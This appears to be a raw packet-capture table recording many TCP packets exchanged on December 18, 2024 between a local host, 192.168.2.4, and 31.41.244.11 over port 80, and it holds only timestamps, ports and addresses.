Dec 18, 2024 17:08:22.108306885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.109324932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.109349966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.109380960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.109503031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.110491991 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.110546112 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.110568047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.110601902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.111515045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.111587048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.111624002 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.112761021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.112822056 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.112895966 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.114013910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.114032984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.114067078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.114098072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.114161015 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.114839077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.114898920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.114943981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.115000963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.115845919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.115973949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.116039038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.116946936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.117165089 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.117232084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.118051052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.118159056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.118252993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.119168997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.119237900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.119277954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.120270967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.120337963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.120392084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.121328115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.121345997 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.121373892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.121442080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.121500969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.122441053 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.122670889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.257200956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.257325888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.257411003 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.257502079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.257673025 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.257735014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.257987976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.258523941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.258899927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.259025097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.259088993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.259757996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.259829998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.259871006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.260938883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.260998964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.261024952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.261364937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.262063026 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.262129068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.262167931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.262219906 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.263079882 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.263143063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.263185024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.263341904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.264169931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.264244080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.264277935 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.264750004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.265240908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.265350103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.265383005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.265410900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.266474962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.266819954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.266880989 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.267498016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.267647982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.267707109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.268554926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.268698931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.268767118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.269613028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.269767046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.269823074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.270720005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.270773888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.270847082 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.271370888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.271800995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.271920919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.271981955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.272866964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.272937059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.273005962 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.273102045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.273977995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.274045944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.274105072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.274164915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.275054932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.275124073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.275171041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.275388956 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.276169062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.276240110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.276340008 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.276456118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.277261972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.277333021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.277390957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.277445078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.278373957 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.278450966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.278477907 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.278526068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.279459000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.279589891 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.279614925 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.279874086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.280572891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.280719995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.280777931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.281616926 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.281706095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.281866074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.281929970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.282756090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.282895088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.282947063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.283927917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.284063101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.284116030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.284948111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.285001993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.285020113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.286022902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.286046982 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.286148071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.286206007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.287121058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.287211895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.287260056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.287333965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.288201094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.288269043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.288321018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.288377047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.289315939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.289393902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.289462090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.289597034 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.290504932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.290664911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.290719032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.291910887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.292049885 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.292117119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.292586088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.292690992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.292746067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.293684006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.293803930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.293858051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.294750929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.294929028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.294982910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.295254946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.295845985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.295914888 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.296040058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.296140909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.296984911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.297059059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.297076941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.297130108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.298080921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.298311949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.298361063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.298391104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.299122095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.299205065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.299293995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.299371004 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.300254107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.300369978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.300395012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.300463915 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.301317930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.301445961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.301500082 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.302421093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.302565098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.302622080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.303729057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.303841114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.303896904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.304600000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.304740906 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.304792881 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.305699110 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.305851936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.305913925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.306859016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.306921005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.306974888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.307045937 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.307950974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.308021069 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.308204889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.308262110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.309010029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.309065104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.309185028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.309303999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.310147047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.310201883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.310384989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.310444117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.311136007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.311263084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.311311007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.311377048 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.312283993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.312396049 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.312454939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.313513041 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.313692093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.313756943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.314452887 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.319251060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.449196100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.449341059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.449398994 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.449477911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.449727058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.449860096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.449923992 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.450818062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.450890064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.450937033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.451901913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.451965094 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.452137947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.453061104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.453124046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.453258038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.454096079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.454160929 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.454298019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.454355955 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.455210924 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.455332994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.455391884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.456294060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.456408978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.456468105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.457519054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.457732916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.457798958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.458501101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.458559036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.458633900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.459568024 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.459633112 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.459680080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.460656881 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.460726023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.460808992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.460865021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.461709976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.461858034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.461920977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.462816000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.462945938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.463005066 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.463934898 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.463989973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.464036942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.465073109 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.465130091 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.465147972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.465336084 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.466253996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.466326952 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.466396093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.467197895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.467291117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.467353106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.468314886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.468451023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.468508959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.469408989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.469510078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.469567060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.470474005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.470530033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.470583916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.471537113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.471596003 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.471724987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.472650051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.472709894 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.472780943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.472839117 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.473875999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.474101067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.474176884 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.475219011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.475359917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.475420952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.476111889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.476170063 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.476207018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.477035999 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.477094889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.477175951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.477293968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.478147984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.478430986 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.478492022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.479209900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.479362011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.479424000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.480336905 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.480396032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.480436087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.481441021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.481451988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.481492996 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.481538057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:22.481590986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:22.482506990 CET	80	49771	31.41.244.11	192.168.2.4
